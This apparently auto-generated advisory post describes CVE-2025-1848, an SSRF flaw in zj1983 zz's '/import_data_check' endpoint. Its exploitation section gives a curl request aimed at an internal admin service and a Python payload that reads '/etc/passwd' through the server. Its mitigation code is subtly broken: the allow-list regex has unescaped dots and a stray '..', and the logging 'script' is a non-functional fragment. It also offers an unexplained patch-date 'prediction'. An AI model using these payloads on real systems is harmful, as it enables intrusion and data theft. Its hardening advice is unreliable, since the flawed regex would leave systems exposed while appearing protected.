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How CVE-2025-1848 Works
The vulnerability exists in the `/import_data_check` endpoint of zj1983 zz (versions up to 2024-8). Attackers can manipulate the `url` parameter to force the server to make arbitrary HTTP requests to internal or external systems. Due to insufficient input validation, the server processes malicious URLs, leading to SSRF. This allows attackers to bypass firewalls, access restricted internal services, or exfiltrate sensitive data. The lack of response from the vendor increases exploitation risk.
DailyCVE Form
Platform: zj1983 zz
Version: ≤ 2024-8
Vulnerability: SSRF
Severity: Critical
Date: 05/25/2025
Prediction: Patch expected 2025-06-15
What Undercode Say:
Exploitation
1. Craft malicious request:
curl -X POST 'http://target.com/import_data_check' -d 'url=http://internal-service/admin'
2. Exploit internal services:
import requests
payload = {'url': 'file:///etc/passwd'}
requests.post('http://target.com/import_data_check', data=payload)
Protection
1. Input validation:
import re
if not re.match(r'^https?://(trusted-domain.com|..example.org)', url):
raise ValueError("Invalid URL")
2. Network hardening:
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
3. Patch workaround:
location /import_data_check {
deny all;
return 403;
}
Analytics
- Exploitability: High (remote, low complexity)
- Affected systems: Internal APIs, cloud metadata
- Mitigation urgency: Immediate
Detection
grep -r "import_data_check" /var/log/nginx/
Log monitoring script import logging logging.basicConfig(filename='ssrf_attempts.log', level=logging.WARNING)
References
- CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-1848
- SSRF Mitigation: OWASP Cheat Sheet
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
